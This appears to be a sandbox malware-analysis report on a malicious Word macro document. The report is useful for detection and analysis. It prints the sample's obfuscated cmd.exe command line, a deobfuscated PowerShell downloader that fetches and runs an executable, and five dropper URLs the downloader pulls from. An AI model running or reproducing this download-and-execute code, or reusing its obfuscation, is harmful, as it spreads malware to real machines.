Analysis

  • max time kernel
    122s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/05/2024, 09:26

General

  • Target
    102fab083b4812c617459c27ef5302e8_JaffaCakes118.doc
  • Size 74KB
  • Sample240503-lel1esbf2y
  • SHA256 764122c8c7d3c80f2c4c5c812333b6d804683a90cd5c6ffe28d36e6bbd2ac90e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://newspectiveaddress.com/rOTph

  • exe.dropper

    http://lariotgrill.com/2z8FmXgi

  • exe.dropper

    http://akgemc.com/fsHYxx

  • exe.dropper

    http://webartikelbaru.web.id/3ykDP

  • exe.dropper

    http://artikeltentangwanita.com/L8097n

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\102fab083b4812c617459c27ef5302e8_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4616
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /V^:/C"^s^e^t ^XK^d=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ }^}{hc^t^ac}^;^k^aerb;^F^zv^$ m^e^t^I^-^ek^ovn^I^;)Fzv$^ ,S^BV$(eliFd^a^o^lnw^o^D.^wV^B${^yr^t^{)YRn^$ ni^ SBV^$(^hc^a^ero^f;^'^ex^e^.^'+^z^Sr^$^+^'\'^+cil^bup:vn^e$=Fzv^$^;'^7^9^7'^ ^= ^z^Sr^$;)^'^@'(^til^pS.'n7^9^0^8^L/^m^oc^.atin^aw^gna^tn^e^t^l^ek^i^tr^a//:ptt^h@P^Dky^3/^di.^be^w^.urab^le^kitr^ab^ew//^:p^t^th^@^x^xYH^sf/m^oc^.cmegka//^:^p^t^th^@^i^gXm^F^8z2/moc^.l^l^ir^gto^ira^l//:^p^t^t^h^@hpT^Or/^moc.^ss^erd^d^a^ev^i^tc^eps^w^en//^:p^t^th'=^YRn$^;tnei^lC^be^W.t^eN tce^jb^o-^wen=^wVB$^ lle^h^srew^o^p&&^f^or /^L %^T ^in (3^7^6^;-^1^;0)^d^o ^se^t ^Q^Sl=!^Q^Sl!!^XK^d:~%^T,1!&&^i^f %^T=^=^0 c^a^ll %^Q^Sl:~^5%"
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:3292
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $BVw=new-object Net.WebClient;$nRY='http://newspectiveaddress.com/rOTph@http://lariotgrill.com/2z8FmXgi@http://akgemc.com/fsHYxx@http://webartikelbaru.web.id/3ykDP@http://artikeltentangwanita.com/L8097n'.Split('@');$rSz = '797';$vzF=$env:public+'\'+$rSz+'.exe';foreach($VBS in $nRY){try{$BVw.DownloadFile($VBS, $vzF);Invoke-Item $vzF;break;}catch{}}
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4336

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        sist02.xsl

        • Path C:\Users\Admin\AppData\Local\Temp\TCD8490.tmp\sist02.xsl
        • Size 245KB
        • SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_vygakjee.hib.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vygakjee.hib.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/4336-42-0x00000271AEEF0000-0x00000271AEF12000-memory.dmp

        memory/4616-9-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp

        memory/4616-17-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp

        memory/4616-5-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp

        memory/4616-10-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp

        memory/4616-0-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp

        memory/4616-8-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp

        memory/4616-7-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp

        memory/4616-6-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp

        memory/4616-13-0x00007FFE9EC90000-0x00007FFE9ECA0000-memory.dmp

        memory/4616-12-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp

        memory/4616-11-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp

        memory/4616-14-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp

        memory/4616-16-0x00007FFE9EC90000-0x00007FFE9ECA0000-memory.dmp

        memory/4616-3-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp

        memory/4616-15-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp

        memory/4616-34-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp

        memory/4616-35-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp

        memory/4616-36-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp

        memory/4616-4-0x00007FFEE0FAD000-0x00007FFEE0FAE000-memory.dmp

        memory/4616-1-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp

        memory/4616-2-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp

        memory/4616-531-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp

        memory/4616-532-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp

        memory/4616-553-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp

        memory/4616-555-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp

        memory/4616-554-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp

        memory/4616-552-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp

        memory/4616-556-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp